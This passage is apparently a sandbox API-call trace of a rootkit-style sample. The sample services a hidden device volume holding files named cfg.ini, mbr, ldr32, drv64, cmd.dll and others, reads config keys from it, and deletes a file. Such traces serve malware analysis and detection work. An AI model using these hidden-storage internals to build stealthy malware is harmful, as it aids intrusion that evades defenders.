MemoryDescriptorList=0xfffffa8003b87f40) [0118.675] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.675] IdePortDispatch () returned 0x103 [0118.675] KeWaitForMutexObject () returned 0x0 [0118.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.675] KeLeaveCriticalRegion () [0118.676] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.676] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.676] KeEnterCriticalRegion () [0118.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352e000 [0118.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.676] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.676] IdePortDispatch () returned 0x103 [0118.676] KeWaitForMutexObject () returned 0x0 [0118.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.676] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.676] IdePortDispatch () returned 0x103 [0118.677] KeWaitForMutexObject () returned 0x0 [0118.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.677] KeLeaveCriticalRegion () [0118.677] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.677] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.677] KeEnterCriticalRegion () [0118.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.677] KeLeaveCriticalRegion () [0118.677] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.677] KeEnterCriticalRegion () [0118.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.677] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.678] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.678] KeLeaveCriticalRegion () [0118.678] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.678] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.678] KeEnterCriticalRegion () [0118.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.678] ExFreePoolWithTag (P=0xfffffa8003af8620, Tag=0x0) [0118.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.678] KeLeaveCriticalRegion () [0118.678] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.678] ReleaseMutex (hMutex=0xf0) returned 1 [0118.678] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.678] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.678] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.678] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.678] KeEnterCriticalRegion () [0118.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.678] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.678] IdePortDispatch () returned 0x103 [0118.678] KeWaitForMutexObject () returned 0x0 [0118.679] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.679] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.679] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.679] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.679] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.679] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.679] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.679] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.679] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.679] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.679] KeLeaveCriticalRegion () [0118.679] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.679] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.679] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.679] KeEnterCriticalRegion () [0118.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.679] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.679] IdePortDispatch () returned 0x103 [0118.680] KeWaitForMutexObject () returned 0x0 [0118.680] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.680] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.680] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.680] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.680] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.680] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.680] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.680] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.680] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.680] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.680] KeLeaveCriticalRegion () [0118.680] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.680] ReleaseMutex (hMutex=0x100) returned 1 [0118.680] Sleep (dwMilliseconds=0x2bf20) [0118.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69eff4d0, dwHighDateTime=0x1d24fa4)) [0118.686] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.686] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.690] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.690] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.690] KeEnterCriticalRegion () [0118.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.690] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.691] IdePortDispatch () returned 0x103 [0118.691] KeWaitForMutexObject () returned 0x0 [0118.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.691] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.691] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.691] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.691] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.691] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aaaeb0 [0118.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.691] KeLeaveCriticalRegion () [0118.691] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.691] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.691] KeEnterCriticalRegion () [0118.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.691] KeLeaveCriticalRegion () [0118.691] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.691] KeEnterCriticalRegion () [0118.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.691] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.691] IdePortDispatch () returned 0x103 [0118.692] KeWaitForMutexObject () returned 0x0 [0118.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.692] KeLeaveCriticalRegion () [0118.692] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.692] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.692] KeEnterCriticalRegion () [0118.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c11000 [0118.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.692] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.692] IdePortDispatch () returned 0x103 [0118.693] KeWaitForMutexObject () returned 0x0 [0118.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.693] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.693] IdePortDispatch () returned 0x103 [0118.693] KeWaitForMutexObject () returned 0x0 [0118.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.693] KeLeaveCriticalRegion () [0118.693] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.694] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.694] KeEnterCriticalRegion () [0118.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.694] KeLeaveCriticalRegion () [0118.694] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.694] KeEnterCriticalRegion () [0118.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.694] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.694] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.694] KeLeaveCriticalRegion () [0118.694] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.694] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.694] KeEnterCriticalRegion () [0118.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.694] ExFreePoolWithTag (P=0xfffffa8003aaaeb0, Tag=0x0) [0118.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.694] KeLeaveCriticalRegion () [0118.694] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.694] ReleaseMutex (hMutex=0xf0) returned 1 [0118.695] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.699] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.699] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.699] KeEnterCriticalRegion () [0118.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.699] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.699] IdePortDispatch () returned 0x103 [0118.699] KeWaitForMutexObject () returned 0x0 [0118.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.699] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.699] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.699] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.699] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.699] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba1370 [0118.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.699] KeLeaveCriticalRegion () [0118.700] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.700] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.700] KeEnterCriticalRegion () [0118.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.700] KeLeaveCriticalRegion () [0118.700] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.700] KeEnterCriticalRegion () [0118.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.700] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.700] IdePortDispatch () returned 0x103 [0118.700] KeWaitForMutexObject () returned 0x0 [0118.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.700] KeLeaveCriticalRegion () [0118.700] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.700] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.700] KeEnterCriticalRegion () [0118.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.701] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c13000 [0118.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.701] IdePortDispatch () returned 0x103 [0118.701] KeWaitForMutexObject () returned 0x0 [0118.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.701] IdePortDispatch () returned 0x103 [0118.701] KeWaitForMutexObject () returned 0x0 [0118.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.701] KeLeaveCriticalRegion () [0118.701] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.702] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.702] KeEnterCriticalRegion () [0118.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.702] KeLeaveCriticalRegion () [0118.702] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.702] KeEnterCriticalRegion () [0118.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.702] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.702] KeLeaveCriticalRegion () [0118.702] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.702] KeEnterCriticalRegion () [0118.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.703] ExFreePoolWithTag (P=0xfffffa8003ba1370, Tag=0x0) [0118.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.703] KeLeaveCriticalRegion () [0118.703] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.703] ReleaseMutex (hMutex=0xf0) returned 1 [0118.703] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 